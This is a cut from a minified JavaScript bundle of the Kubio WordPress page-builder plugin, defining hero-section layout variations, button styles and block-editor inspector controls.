Hu=oa({props:Wu,_style:ia({},ra(80),ra(100))},Mu),Gu=[Jn({props:{layout:{equalWidth:!1}}},[Hu])],{Section:Uu}=mi({menuItems:hu,isHero:!0}),Fu={kubio:{props:{layout:{equalWidth:!1},media:{mobile:{layout:{horizontalGap:3}}}}}},zu=(e,t)=>({name:"kubio/column",attributes:{kubio:{props:{internal:{heroSection:{type:"media"}}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:e,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:t||e,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}}},innerBlocks:[{name:"kubio/image",attributes:{link:{typeOpenLink:"sameWindow",lightboxMedia:""},alt:"",caption:"",captionEnabled:!1,sizeSlug:"large"},innerBlocks:[]}]}),Vu=(e,t)=>({name:"kubio/column",attributes:{kubio:{props:{internal:{heroSection:{type:"text"}}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:e,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:t||e,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{container:{},inner:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}}}}}},innerBlocks:[{name:"kubio/heading",attributes:{kubio:{props:{level:1},style:{descendants:{text:{typography:{size:{value:5,unit:"em"},weight:600},media:{mobile:{typography:{size:{value:2.8,unit:"em"}}},tablet:{typography:{size:{value:3,unit:"em"}}}}}}}},link:{typeOpenLink:"sameWindow"},content:"Your vision. Our know-how."},innerBlocks:[]},{name:"kubio/text",attributes:{kubio:{props:{type:"lead",isLead:!0}},content:"Start building your website today!",dropCap:!1},innerBlocks:[]},{name:"kubio/buttongroup",attributes:{kubio:{}},innerBlocks:[{name:"kubio/button",attributes:{kubio:{props:{buttonWidth:"fitToContent",iconPosition:"after",showIcon:!1,buttonSize:"large",horizontalAlign:"center"},style:{descendants:{link:{textAlign:"center",background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"#fff",family:"Open Sans",margin:{top:"",bottom:"2rem"},size:{unit:"px",value:"14"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"}},border:{top:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"},radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}}},bottom:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}},right:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"}},left:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"}}},padding:{top:{unit:"px",value:"15"},bottom:{unit:"px",value:"15"},left:{unit:"px",value:"30"},right:{unit:"px",value:"30"}},states:{hover:{background:{color:"rgba(var(--kubio-color-1-variant-4),1)"},border:{top:{color:"rgba(var(--kubio-color-1-variant-4),1)"},right:{color:"rgba(var(--kubio-color-1-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-1-variant-4),1)"},left:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}}},icon:{size:{unit:"px",value:"14"},margin:{left:{value:10,unit:"px"},right:{value:0,unit:"px"}}}}}},text:"Get started today",link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},preserveSpace:{text:!1},icon:{name:"font-awesome/arrow-right"}},innerBlocks:[]},{name:"kubio/button",attributes:{kubio:{props:{buttonWidth:"fitToContent",iconPosition:"after",showIcon:!1,buttonSize:"large",horizontalAlign:"center"},style:{descendants:{link:{textAlign:"center",background:{color:"rgba(var(--kubio-color-5),1)"},typography:{family:"Open Sans",margin:{top:"",bottom:"2rem"},size:{unit:"px",value:"14"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"},color:"rgba(var(--kubio-color-6),1)"},border:{top:{color:"white",style:"solid",width:{value:2,unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}},bottom:{color:"white",style:"solid",width:{value:2,unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}},right:{color:"white",style:"solid",width:{value:2,unit:"px"}},left:{color:"white",style:"solid",width:{value:2,unit:"px"}}},padding:{top:{unit:"px",value:"15"},bottom:{unit:"px",value:"15"},left:{unit:"px",value:"30"},right:{unit:"px",value:"30"}},states:{hover:{background:{color:"rgba(var(--kubio-color-1-variant-4),1)"},border:{top:{color:"rgba(var(--kubio-color-1-variant-4),1)"},right:{color:"rgba(var(--kubio-color-1-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-1-variant-4),1)"},left:{color:"rgba(var(--kubio-color-1-variant-4),1)"}},typography:{color:"rgba(var(--kubio-color-5),1)"}}}},icon:{size:{unit:"px",value:"14"},margin:{left:{value:10,unit:"px"},right:{value:0,unit:"px"}}}}}},text:"Learn more",link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},preserveSpace:{text:!1},icon:{name:"font-awesome/arrow-right"}}}]}]}),Yu=(e,t)=>({name:"kubio/column",attributes:{kubio:{props:{overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,custom:{horizontalGap:{unit:"px",value:""},verticalGap:{unit:"px",value:""},horizontalInnerGap:{unit:"px",value:""},verticalInnerGap:{unit:"px",value:""}},verticalAlign:"center",verticalInnerGap:2,horizontalInnerGap:2},internal:{heroSection:{type:"text"}}},style:{descendants:{inner:{textAlign:"center",customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}},media:{mobile:{textAlign:"center"},tablet:{textAlign:"center"}},border:{top:{style:"solid",radius:{left:{value:"9",unit:"px"},right:{value:"9",unit:"px"}}},right:{style:"solid"},bottom:{style:"solid",radius:{left:{value:"9",unit:"px"},right:{value:"9",unit:"px"}}},left:{style:"solid"}},padding:{left:{unit:"px"},right:{unit:"px"},top:{unit:"px"},bottom:{unit:"px"}}}}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{unit:"%",value:e}},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}},tablet:{columnWidth:{custom:{value:t||e,unit:"%"}}}}}}}}},innerBlocks:[{name:"kubio/page-title",attributes:{kubio:{props:{level:"h1"}},templates:{normalPage:"{TITLE}",normalResultsPage:"Search results for: {TITLE}",errorPage:"Sorry! Page Not Found!",singlePost:"{TITLE}",categoryArchive:"Posts in {TITLE}",authorArchive:"Posts by {TITLE}",tagArchive:"Posts about {TITLE}",yearArchive:"Posts from {TITLE}",monthArchive:"Posts from {TITLE}",dayArchive:"Posts from {TITLE}"}},innerBlocks:[]}]}),$u={name:"kubio/row",attributes:Fu,innerBlocks:[Yu(100)]},Ku={name:"kubio/row",attributes:Fu,innerBlocks:[Vu(100)]},qu={name:"kubio/row",attributes:Fu,innerBlocks:[Yu(50,80),zu(50)]},Xu={name:"kubio/row",attributes:Fu,innerBlocks:[Vu(50,80),zu(50)]},Qu={name:"kubio/row",attributes:Fu,innerBlocks:[zu(50),Yu(50,80)]},Zu={name:"kubio/row",attributes:Fu,innerBlocks:[zu(50),Vu(50,80)]},Ju={name:"kubio/row",attributes:Fu,innerBlocks:[zu(80),Yu(80)]},ec={name:"kubio/row",attributes:Fu,innerBlocks:[zu(80),Vu(80)]},tc={name:"kubio/row",attributes:Fu,innerBlocks:[Yu(80),zu(80)]},oc={name:"kubio/row",attributes:Fu,innerBlocks:[Vu(80),zu(80)]},nc=[{name:"textOnly",isDefault:!1,title:(0,We.__)("Hero","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)($u)],scope:[]},{name:"FPtextOnly",isDefault:!1,title:(0,We.__)("Front page hero","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(Ku)],scope:[]},{name:"textWithMediaOnRight",isDefault:!1,title:(0,We.__)("Hero with media on right","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(qu)],scope:[]},{name:"FPtextWithMediaOnRight",isDefault:!1,title:(0,We.__)("Front page hero with media on right","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(Xu)],scope:[]},{name:"textWithMediaOnLeft",isDefault:!1,title:(0,We.__)("Hero with media on the left side","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(Qu)],scope:[]},{name:"FPtextWithMediaOnLeft",isDefault:!1,title:(0,We.__)("Front page hero with media on the left side","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(Zu)],scope:[]},{name:"textWithMediaAbove",isDefault:!1,title:(0,We.__)("Hero media top","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(Ju)],scope:[]},{name:"FPtextWithMediaAbove",isDefault:!1,title:(0,We.__)("Hero media top","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(ec)],scope:[]},{name:"textWithMediaBelow",isDefault:!1,title:(0,We.__)("Hero media bottom","kubio"),description:(0,We.__)("Hero with media on the top side","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(tc)],scope:[]},{name:"FPtextWithMediaBelow",isDefault:!1,title:(0,We.__)("Front page hero media bottom","kubio"),innerBlocks:[(0,Ze.transformBlockToTemplate)(oc)],scope:[]}],ac=(0,lt.addProTagToItems)(Be.HERO_LAYOUT_OPTIONS,Be.HERO_TYPES_FREE_VALUES),ic={icon:null,label:"",value:"",isDummy:!0,visibilityByMedia:{desktop:!0,tablet:!0,mobile:!0}},rc=e=>{const t=je().cloneDeep(e),o=e.length%3;let n=0;o&&(n=3-o);for(let e=0;e<n;e++)t.push({...ic,value:Math.random()});return t},sc={IMAGE:hn.IMAGE,VIDEO:hn.VIDEO,IMAGE_SET:hn.MULTIPLE_IMAGES,CUSTOM:"custom"},lc=[sc.IMAGE,sc.VIDEO,sc.CUSTOM];let uc=[{label:(0,We.__)("Image","kubio"),value:sc.IMAGE},{label:(0,We.__)("Video","kubio"),value:sc.VIDEO},{label:(0,We.__)("Image Collage","kubio"),value:sc.IMAGE_SET},{label:(0,We.__)("Custom","kubio"),value:sc.CUSTOM}];uc=(0,lt.addProTagToItems)(uc,lc);const cc={options:ac,values:Be.HERO_LAYOUT_VALUES},pc=(e=100)=>{const t=(0,Ne.createBlockWithDataHelper)("kubio/column",(t=>{t.setProp(pu,cu),t.setLocalStyle("columnWidth",ra(e),{styledComponent:"container"})})),o=(0,Ne.createBlockWithDataHelper)(hn.IMAGE,je().noop);return t.innerBlocks=[o],t},dc={getMediaColumnTopBottom:()=>pc(80),getMediaColumnLeftRight:()=>pc(50),getTextColumn:()=>{const e=(0,Ne.createBlockWithDataHelper)("kubio/column",(e=>{e.setProp(pu,uu)})),t=Mu.map((e=>"function"==typeof e?e():e));return e.innerBlocks=(0,Ne.convertTemplateFormatToBlock)(t),e},getMediaColumnVideo:()=>(0,Ne.createBlockWithDataHelper)(hn.VIDEO),getMediaColumnImage:()=>(0,Ne.createBlockWithDataHelper)(hn.IMAGE),getMediaColumnMultipleImages:()=>(0,Ne.createBlockWithDataHelper)(hn.MULTIPLE_IMAGES)},mc={layout:cc,mediaType:{options:uc,values:sc}},{getMediaColumnTopBottom:hc,getMediaColumnLeftRight:bc,getTextColumn:gc,getMediaColumnImage:yc,getMediaColumnVideo:kc,getMediaColumnMultipleImages:fc}=dc,_c=mc.layout.values,vc=mc.mediaType.values,xc=jn.columnWidth.ColumnWidthTypes,Cc={desktop:{value:80,unit:"%"},tablet:{value:80,unit:"%"},mobile:{value:100,unit:"%"}},Ic={desktop:{value:50,unit:"%"},tablet:{value:80,unit:"%"},mobile:{value:100,unit:"%"}},Ec=e=>{switch(e){case _c.TEXT_WITH_MEDIA_ABOVE:case _c.TEXT_WITH_MEDIA_BELOW:case _c.TEXT_WITH_MEDIA_ON_LEFT:case _c.TEXT_WITH_MEDIA_ON_RIGHT:return!0;default:return!1}},Tc=e=>{let t=null;switch(e){case _c.TEXT_WITH_MEDIA_ON_RIGHT:case _c.TEXT_WITH_MEDIA_ON_LEFT:t=bc();break;case _c.TEXT_WITH_MEDIA_BELOW:case _c.TEXT_WITH_MEDIA_ABOVE:t=hc()}return t},Sc=(0,Ne.withComputedData)((e=>{const{insertBlock:t,moveBlocksToPosition:o,removeBlock:n,replaceBlock:a,replaceInnerBlocks:i}=(0,Le.useDispatch)("core/block-editor"),{getBlock:r,isFrontPage:s,getBlocks:l}=(0,Le.useSelect)((e=>{var t,o;const{getBlock:n,getBlocks:a}=e("core/block-editor");return{getBlock:n,getBlocks:a,isFrontPage:(null===(t=e(Be.STORE_KEY))||void 0===t||null===(o=t.getIsFrontPage)||void 0===o?void 0:o.call(t))||!1}})),u=(0,Ne.useActiveMedia)(),c=e.withChildren({autoSave:!1,forceLoadStoreData:!0}).filter((e=>(null==e?void 0:e.blockName)===hn.ROW)),p=je().get(c,0,null),d=(()=>{if(c.length>1)return!0;let e=!1;return p&&p.withChildren().forEach((t=>{t.getProp(pu)||(e=!0)})),e})(),m=e=>{let t=null;const o=o=>{o.getProp(pu)===e&&(t=o)};return d?c.forEach((e=>{e&&e.withChildren().forEach(o)})):p&&p.withChildren().forEach(o),t};let h=m(cu),b=m(uu);const g=(()=>{let e=null;return h&&(e=h.withParent()),b&&!e&&(e=b.withParent()),e||(e=p),e})(),y=null==g?void 0:g.clientId,k=g?g.withChildren():[],f=(0,Me.useRef)(!1),_=e=>e?e.getStyle("columnWidth.custom.value",null,{styledComponent:"container",local:!0}):null,v=(()=>{const e=je().get(k,0);return!!e&&e.getProp(pu)===uu})(),x=()=>{if(d)return _c.CUSTOM;if(b&&!h)return _c.TEXT_ONLY;if(!b||!h)return _c.CUSTOM;const e=(()=>{var e;if(null===(e=h)||void 0===e||!e.clientId)return!0;const t=_(h),o=_(b);return!(!o||!t)&&Number(t)+Number(o)<=100})();return e?e?v?_c.TEXT_WITH_MEDIA_ON_RIGHT:_c.TEXT_WITH_MEDIA_ON_LEFT:void 0:v?_c.TEXT_WITH_MEDIA_BELOW:_c.TEXT_WITH_MEDIA_ABOVE},C=x(),[I,E]=(0,Me.useState)(C),T=()=>{const e=x();I!==e&&E(e)},S=(0,Me.useRef)(null);(0,Me.useEffect)((()=>{S.current&&clearTimeout(S.current),f.current||(S.current=setTimeout(T,100))}),[C,u]);const w=async(e,t)=>{t&&(g.setProp("layout.equalWidth",!1),je().each(e,((e,o)=>{const n={type:xc.CUSTOM,custom:e};t.setStyle("columnWidth",n,{styledComponent:"container",local:!0,media:o})})))},P=async e=>{await w(Cc,e)},A=async e=>{await w(Ic,e)},j=async(e,t)=>{switch(e){case _c.TEXT_WITH_MEDIA_ABOVE:case _c.TEXT_WITH_MEDIA_BELOW:await P(b),await P(h);break;case _c.TEXT_WITH_MEDIA_ON_LEFT:case _c.TEXT_WITH_MEDIA_ON_RIGHT:t!==e&&(await A(b),await A(h));break;case _c.TEXT_ONLY:await P(b)}e===_c.TEXT_ONLY?b&&b.save():(b&&b.save(),h&&h.save())},B=(0,Ne.useGroupDispatch)(),N=(0,Me.useMemo)((()=>{const e=mc.layout;let t=e.options;const o=e.values;I!==o.CUSTOM&&(t=t.filter((e=>e.value!==o.CUSTOM)));const n=t.filter((e=>je().get(e.visibilityByMedia,u)));return rc(n)}),[I,u]),O={value:I,onChange:a=>{e.group((()=>{B((()=>(E(a),(async(a,l)=>{if(c.length){switch(f.current=!0,a){case _c.TEXT_ONLY:Ec(l)&&await(async(e,o)=>{const n=Tc(e);let a=0;switch(e){case _c.TEXT_WITH_MEDIA_ON_RIGHT:case _c.TEXT_WITH_MEDIA_BELOW:a=1;break;case _c.TEXT_WITH_MEDIA_ON_LEFT:case _c.TEXT_WITH_MEDIA_ABOVE:a=0}await j(e,o),await t(n,a,y,!1);const i=je().get(n,"clientId");h=g.withClientId(i)})(l,a);break;case _c.TEXT_WITH_MEDIA_ABOVE:case _c.TEXT_WITH_MEDIA_BELOW:case _c.TEXT_WITH_MEDIA_ON_LEFT:case _c.TEXT_WITH_MEDIA_ON_RIGHT:const i=r(e.clientId),s=[hn.IMAGE,hn.VIDEO,hn.MULTIPLE_IMAGES],u=(0,Ze.findParentWithChildBlockName)(i,hn.COLUMN,s);let p=null;u&&(p=e.findChildByClientId(null==u?void 0:u.clientId));const d=(0,Ze.findBlockByName)([i],s);let m,f,_,v,x=null;d&&(x=e.findChildByClientId(null==d?void 0:d.clientId)),[_c.TEXT_WITH_MEDIA_ON_LEFT,_c.TEXT_WITH_MEDIA_ON_RIGHT].includes(l)&&(p&&(m=p.getStyle("padding.left.value",0),f=p.getStyle("padding.right.value",0),m!==f&&(p.setStyle("padding.left.value",f),p.setStyle("padding.right.value",m))),x&&(m=x.getStyle("padding.left.value",0),f=x.getStyle("padding.right.value",0),m!==f&&(x.setStyle("padding.left.value",f),x.setStyle("padding.right.value",m)))),[_c.TEXT_WITH_MEDIA_ABOVE,_c.TEXT_WITH_MEDIA_BELOW].includes(l)&&(p&&(_=p.getStyle("padding.top.value",0),v=p.getStyle("padding.bottom.value",0),_!==v&&(p.setStyle("padding.top.value",v),p.setStyle("padding.bottom.value",_))),x&&(_=x.getStyle("padding.top.value",0),v=x.getStyle("padding.bottom.value",0),_!==v&&(x.setStyle("padding.top.value",v),x.setStyle("padding.bottom.value",_)))),Ec(l)&&await(async(e,t)=>{var n,a;if(b&&h)switch(await j(e,t),e){case _c.TEXT_WITH_MEDIA_ON_RIGHT:case _c.TEXT_WITH_MEDIA_BELOW:var i;null!==(n=b)&&void 0!==n&&n.clientId&&await o([null===(i=b)||void 0===i?void 0:i.clientId],y,y,0);break;case _c.TEXT_WITH_MEDIA_ON_LEFT:case _c.TEXT_WITH_MEDIA_ABOVE:var r;null!==(a=h)&&void 0!==a&&a.clientId&&await o([null===(r=h)||void 0===r?void 0:r.clientId],y,y,0)}})(l,a),l===_c.TEXT_ONLY&&await(async()=>{var e;await P(b),h&&await n(null===(e=h)||void 0===e?void 0:e.clientId,!1),b.save()})();break;case _c.CUSTOM:await(async(e,a)=>{var i,r;let s,l;if(!b){s=gc(),await t(s,0,y,!1);const e=je().get(s,"clientId");b=g.withClientId(e)}if(!h&&e!==_c.TEXT_ONLY){l=Tc(e),await t(l,0,y,!1);const o=je().get(l,"clientId");h=g.withClientId(o)}switch(await j(e,a),e){case _c.TEXT_WITH_MEDIA_ON_RIGHT:case _c.TEXT_WITH_MEDIA_BELOW:o([null===(i=b)||void 0===i?void 0:i.clientId],y,y,0);break;case _c.TEXT_WITH_MEDIA_ON_LEFT:case _c.TEXT_WITH_MEDIA_ABOVE:o([null===(r=h)||void 0===r?void 0:r.clientId],y,y,0)}k.forEach((e=>{var t,o;const a=null==e?void 0:e.clientId;a&&a!==(null===(t=b)||void 0===t?void 0:t.clientId)&&a!==(null===(o=h)||void 0===o?void 0:o.clientId)&&n(a,!1)})),c.forEach((e=>{null!=e&&e.clientId&&(null==e?void 0:e.clientId)!==y&&n(null==e?void 0:e.clientId,!1)}))})(l,a)}f.current=!1}else{var u;const t=s?`FP${l}`:l,o=null===(u=(0,Ae.find)(nc,{name:t}))||void 0===u?void 0:u.innerBlocks;if(o){const t=(0,Ze.refreshBlockStyleRefs)((0,Ze.transformTemplateToBlock)(o[0]));i(null==e?void 0:e.clientId,[t])}}})(I,a))))}))},options:N},R=()=>{var e;if(!h)return null;const t=h.withChildren();if(!t||t&&1!==t.length)return vc.CUSTOM;const o=je().get(t,0);switch(o&&(null==o||null===(e=o.block)||void 0===e?void 0:e.name)){case hn.IMAGE:return hn.IMAGE;case hn.VIDEO:return hn.VIDEO;case hn.MULTIPLE_IMAGES:return hn.MULTIPLE_IMAGES;default:return vc.CUSTOM}},D=R(),[L,M]=(0,Me.useState)(R());(0,Me.useEffect)((()=>{D!==L&&M(D)}),[D]);const W=(()=>{const e=mc.mediaType;let t=e.options;const o=e.values;return L!==o.CUSTOM&&(t=t.filter((e=>e.value!==o.CUSTOM))),t})();return{mediaColumnHelperExists:!!h,heroLayout:O,mediaType:{value:L,onChange:e=>{(e=>{const t=L;switch(t){case vc.IMAGE:case vc.VIDEO:case vc.IMAGE_SET:e!==vc.CUSTOM&&((e,t)=>{const o=h.withChildren();let n=null;switch(e){case vc.IMAGE:n=yc();break;case vc.VIDEO:n=kc();break;case vc.IMAGE_SET:n=fc()}o.forEach((e=>{var o;(null==e||null===(o=e.block)||void 0===o?void 0:o.name)===t&&a(e.clientId,n)}))})(e,t);break;case vc.CUSTOM:(e=>{var t;let o;if(h.withChildren().forEach((t=>{var n;(null==t||null===(n=t.block)||void 0===n?void 0:n.name)===e&&(o=r(t.clientId))})),!o)switch(e){case vc.IMAGE:o=yc();break;case vc.VIDEO:o=kc();break;case vc.IMAGE_SET:o=fc()}i(null===(t=h)||void 0===t?void 0:t.clientId,[o],!1)})(e)}})(e),M(e)},options:W}}})),wc=Sc((({computed:e})=>{const{heroLayout:t,mediaType:o,mediaColumnHelperExists:n}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectWithIconControl,{label:(0,We.__)("Hero layout","kubio"),utmSource:"hero-layout",...t}),n&&(0,Je.jsx)(ut.GutentagSelectControl,{label:"Media Type",...o})]})})),Pc=(e,t)=>()=>{const{style:o,props:n,_props:a,_style:i,attributes:r}=t;let s=(0,Ne.getBlockDefaultVariation)(e);s||(s={blockName:e,attributes:{},innerBlocks:[]});const{attributes:l,innerBlocks:u}=s,c={...r,kubio:{style:o,props:n,_props:a,_style:i}},p=je().merge({},{attributes:l},{attributes:c});return(0,Ne.composeBlockWithStyle)(e,p,u)},Ac={attributes:{name:"font-awesome/angle-down"},style:je().merge({},{descendants:{outer:{textAlign:"center"},inner:{width:{value:40,unit:"px"},height:{value:40,unit:"px"},fill:"#FFFFFF"}}})};let jc=Pc(hn.ICON,Ac);jc=jc();const Bc={attributes:{text:(0,We.__)("Down","kubio")},style:je().merge({},{descendants:{link:{background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"rgba(var(--kubio-color-5),1)",weight:"600",size:{value:"12",unit:"px"},transform:"uppercase",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},border:{top:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid",radius:{left:{value:5,unit:"px"},right:{value:5,unit:"px"}}},bottom:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid",radius:{right:{value:5,unit:"px"},left:{value:5,unit:"px"}}},left:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid"},right:{color:"rgba(var(--kubio-color-1-variant-4),1)",width:{value:2,unit:"px"},style:"solid"}},boxShadow:{enabled:!1},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}},states:{hover:{background:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}},icon:{size:{unit:"px",value:"12"}}}})};let Nc=Pc(hn.BUTTON,Bc);Nc=Nc();const Oc=(0,De.compose)([(0,Ne.withComputedData)((e=>{var t;const{removeBlocks:o}=(0,Le.useDispatch)("core/block-editor"),n=e.useStylePath("customHeight",{styledComponent:ha});let a=!1;return e.withChildren().forEach((e=>{e.block.name===hn.DOWN_ARROW&&(!0===a&&o(e.clientId,!0),a=!0)})),{showContentPosition:!!n.value&&(null==n||null===(t=n.value)||void 0===t?void 0:t.type)!==jn.HeightTypesEnum.FIT_TO_CONTENT,heightProps:n}}))])((({computed:e,dataHelper:t})=>{const{heightProps:o,showContentPosition:n}=e,{getBlocksByClientId:a}=(0,Le.useSelect)((e=>e("core/block-editor"))),{insertBlock:i,removeBlocks:r,selectBlock:s}=(0,Le.useDispatch)("core/block-editor");let l=!1;return t.withChildren().forEach((e=>{e.block.name===hn.DOWN_ARROW&&(l=!0)})),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel",children:[(0,Je.jsx)(wc,{}),(0,Je.jsx)(ut.SelectControlWithPath,{options:fa,label:(0,We.__)("Container width","kubio"),type:Ne.WithDataPathTypes.PROP,path:"width"}),(0,Je.jsx)(ut.CustomHeightControl,{label:(0,We.__)("Container height","kubio"),...o}),n&&(0,Je.jsx)(ut.VerticalAlignControlWithPath,{label:(0,We.__)("Content position","kubio"),path:"verticalAlign",type:Ne.WithDataPathTypes.PROP}),(0,Je.jsx)(ut.InlineLabeledControl,{label:(0,We.__)("Down arrow","kubio"),children:(0,Je.jsx)(Re.FormToggle,{checked:l,onChange:()=>{(e=>{const o=!e,n=t.clientId,l=t.withChildren();if(o){let e=!1;if(l.forEach((t=>{let o=a(t.clientId);var n;o.length>0&&(o=o[0],(null===(n=o)||void 0===n?void 0:n.name)===hn.DOWN_ARROW&&(e=!0))})),!0!==e){const e=(0,gt.createBlock)(...jc),o=(0,gt.createBlock)(hn.DOWN_ARROW,{},[e]),a=t.withChildren().length;i(o,a,n,!1)}}else l.forEach((e=>{let t=a(e.clientId);t.length>0&&(t=t[0],t.name===hn.DOWN_ARROW&&r(e.clientId,!0))}));s(n)})(l)}})})]})})),Rc=()=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[(0,Je.jsx)(Oc,{}),(0,Je.jsx)(Pi,{})]}),Dc=je().merge({},ga,{[ha]:{supports:{filters:{background:{showOverlayOptionsOnFree:!0,freeTypes:["none","image","gradient","video","slideshow"]}}}}}),Lc=()=>{const e=je().get(Dc,ha);return(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(ut.BackgroundSection,{styledElement:e}),(0,Je.jsx)(ji,{})]})},Mc=(0,De.compose)([])((0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Rc,{}),(0,Je.jsx)(Lc,{}),(0,Je.jsx)(Uu,{...e})]})}))),Wc=hn.HERO,Hc=[...hu,...Xe];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",Wc,((e,t)=>t===Wc?Hc:e));const Gc={name:"kubio/hero",category:"kubio-layout",supports:{kubio:{appearanceEffect:!0,elementsEnum:{INLINE_SCRIPT:"inlineScript"},elementsByName:{inner:{props:{className:["h-navigation-padding","h-section-grid-container"]}},inlineScript:{tag:"<>"}},default:{props:{downArrow:{enabled:!1},showHeader:!1,overlapSection:!1}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"inlineScript"}},{type:"wp:InnerBlocks"}]}]}}}},Uc=je().merge({},{name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},Gc),Fc=(0,Sn.extendBlockMeta)(Uc,{title:(0,We.__)("Hero","kubio"),icon:Tn.BlockIcons.Hero,keywords:[],parent:["kubio/header"],apiVersion:2,supports:{kubio:{elementsByName:Dc},anchor:!0,reusable:!1,html:!1,multiple:!1},edit:Mc,save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variations:nc,variationsFilter:e=>{const{attributes:t}=e;return void 0===t.kubio.style?je().set(e,"attributes.kubio.style.descendants.outer.background.color","rgba(var(--kubio-color-1-variant-1),1)"):null!=e&&e.isDefault?{...e,description:(0,We.__)("If youβve accidentally removed your hero, you can re-add a hero to your page with this block. The hero block has 5 available layouts.","kubio")}:e},innerBlocksDisableInBetweenInserter:!0}),zc="outer",Vc="inner",Yc={[zc]:{internal:!0}},$c=[{value:"icon",label:(0,We.__)("Icon","kubio")},{value:"button",label:(0,We.__)("Button","kubio")}],Kc=(0,Ne.withComputedData)((e=>{const t=e.withChildren();return{iconId:je().get(t,"0.options.clientId")}}))((({computed:e,dataHelper:t})=>{const{iconId:o}=e;return"icon"===t.getProp("downarrowType")?(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:o,children:(0,Je.jsx)(ut.IconPickerWithPath,{path:"name",type:Ne.WithDataPathTypes.ATTRIBUTE})}):(0,Je.jsx)(Je.Fragment,{})})),qc=Kc,Xc="spacing",Qc="hspace",Zc="hSpaceGroup",Jc={["outer"]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Xc]:{internal:!0,supports:{styles:[...jn.StylesPresetsEnum.ALL],states:jn.StatesPresetsEnum.BASIC}},[Qc]:{internal:!0},[Zc]:{internal:!0}},ep="spacing",tp="icon",op=window.kubio.editorData,np=(0,Ne.withComputedData)((e=>{const{globalStyle:t}=(0,bt.useGlobalDataStyle)(),o=(0,bt.useInheritedTextAlign)();return{hSpaceDefault:t.getPropInMedia("hSpace"),iconGetter:e=>!!e.getProp("showIcon")&&e.getAttribute("icon.name",""),defaultTextAlign:o}}))((e=>{const{panelLabel:t,addButtonText:o=(0,We.__)("Add link","kubio"),groupListLabel:n=(0,We.__)("Button list","kubio"),alignLabel:a=(0,We.__)("Link group align","kubio"),spaceBetweenLabel:i=(0,We.__)("Space between 